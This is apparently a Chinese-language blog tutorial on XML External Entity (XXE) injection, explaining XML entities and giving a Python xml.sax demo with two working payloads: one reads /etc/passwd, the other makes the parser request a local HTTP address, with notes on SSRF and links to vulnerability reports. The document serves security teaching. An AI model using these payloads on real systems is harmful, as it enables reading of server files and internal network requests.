xxe就是xml实体注入,先稍微就说一下XML entity:

entity翻译为”实体”。它的作用类似word中的”宏”,也可以理解为DW中的模板,你可以预先定义一个entity,然后在一个文档中多次调用,或者在多个文档中调用同一个entity(XML定义了两种类型的entity。一种是我们这里说的普通entity,在XML文档中使用;另一种是参数entity,在DTD文件中使用。

借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.

这里是一个Python的demo

# coding=utf-8
import xml.sax

x = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
"""

x1 = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8005/xml.test" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
"""


class MyContentHandler(xml.sax.ContentHandler):
    def __init__(self):
        xml.sax.ContentHandler.__init__(self)

    def startElement(self, name, attrs):
        self.chars = ""

    def endElement(self, name):
        print name, self.chars

    def characters(self, content):
        self.chars += content


parser = MyContentHandler()
print xml.sax.parseString(x, parser)
print xml.sax.parseString(x1, parser)

xml.test的文件内容是字符串Hello

可以看到两个的回显分别是 QQ20150528-2@2x.png QQ20150528-3@2x.png

其中下面的这个能看到实际请求了这个地址,还可能造成ssrf QQ20150528-1@2x.png

其实还有一个demo,可以将读取的文件发送出来,可以用于没有回显的场景下,作者是使用的php,我用Python但是暂时没测试成功,稍后再发出来。

wooyun上现有的典型漏洞

http://www.wooyun.org/bugs/wooyun-2010-059911

http://www.wooyun.org/bugs/wooyun-2010-073321